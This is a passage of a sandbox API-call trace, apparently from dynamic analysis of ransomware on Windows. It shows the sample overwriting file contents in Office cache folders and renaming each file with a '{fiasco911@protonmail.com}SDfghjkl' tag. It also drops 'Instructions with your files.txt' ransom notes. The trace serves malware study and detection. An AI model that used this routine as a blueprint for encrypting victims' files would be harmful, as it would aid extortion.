[0048.860] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdae1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.860] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x251f, lpOverlapped=0x0) returned 1
[0048.860] GetProcessHeap () returned 0x2e0000
[0048.860] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.860] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.861] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.861] CloseHandle (hObject=0x10c) returned 1
[0048.861] GetProcessHeap () returned 0x2e0000
[0048.861] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.861] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0048.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.861] GetProcessHeap () returned 0x2e0000
[0048.861] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.861] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0
[0048.862] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0048.862] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.862] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0048.863] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0048.863] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0048.863] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0048.863] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0048.863] CloseHandle (hObject=0x10c) returned 1
[0048.863] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0048.863] GetProcessHeap () returned 0x2e0000
[0048.863] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0048.863] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1
[0048.863] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 66
[0048.864] GetProcessHeap () returned 0x2e0000
[0048.864] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0048.864] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*") returned 68
[0048.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0048.867] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.") returned 68
[0048.867] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0048.867] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.867] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0048.867] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..") returned 69
[0048.867] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0048.867] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.867] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1
[0048.867] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 81
[0048.867] StrStrIW (lpFirst="OneNoteMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0048.867] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.867] GetProcessHeap () returned 0x2e0000
[0048.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.867] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.870] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.870] GetProcessHeap () returned 0x2e0000
[0048.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.870] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.872] CloseHandle (hObject=0x10c) returned 1
[0048.872] GetProcessHeap () returned 0x2e0000
[0048.872] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.872] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0048.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.873] GetProcessHeap () returned 0x2e0000
[0048.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.873] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1
[0048.873] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 81
[0048.873] StrStrIW (lpFirst="OneNoteMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0048.873] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.873] GetProcessHeap () returned 0x2e0000
[0048.873] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.873] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x646, lpOverlapped=0x0) returned 1
[0048.877] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff9ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.877] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x646, lpOverlapped=0x0) returned 1
[0048.877] GetProcessHeap () returned 0x2e0000
[0048.877] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.877] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.877] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.877] CloseHandle (hObject=0x10c) returned 1
[0048.877] GetProcessHeap () returned 0x2e0000
[0048.877] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.877] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0048.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.878] GetProcessHeap () returned 0x2e0000
[0048.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.878] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1
[0048.878] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 78
[0048.878] StrStrIW (lpFirst="OnoteLR.cab", lpSrch="SDfghjkl") returned 0x0
[0048.878] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.879] GetProcessHeap () returned 0x2e0000
[0048.879] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.879] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.884] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.884] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.884] GetProcessHeap () returned 0x2e0000
[0048.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.884] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.884] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.888] CloseHandle (hObject=0x10c) returned 1
[0048.888] GetProcessHeap () returned 0x2e0000
[0048.888] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.888] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0048.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.889] GetProcessHeap () returned 0x2e0000
[0048.889] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.889] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0048.889] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0048.889] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0048.889] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.889] GetProcessHeap () returned 0x2e0000
[0048.889] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.889] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x7c4, lpOverlapped=0x0) returned 1
[0048.906] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.906] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x7c4, lpOverlapped=0x0) returned 1
[0048.907] GetProcessHeap () returned 0x2e0000
[0048.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.907] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.907] CloseHandle (hObject=0x10c) returned 1
[0048.907] GetProcessHeap () returned 0x2e0000
[0048.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.907] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.907] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.907] GetProcessHeap () returned 0x2e0000
[0048.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.907] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0048.908] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0048.908] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.908] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0048.909] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0048.909] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0048.909] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
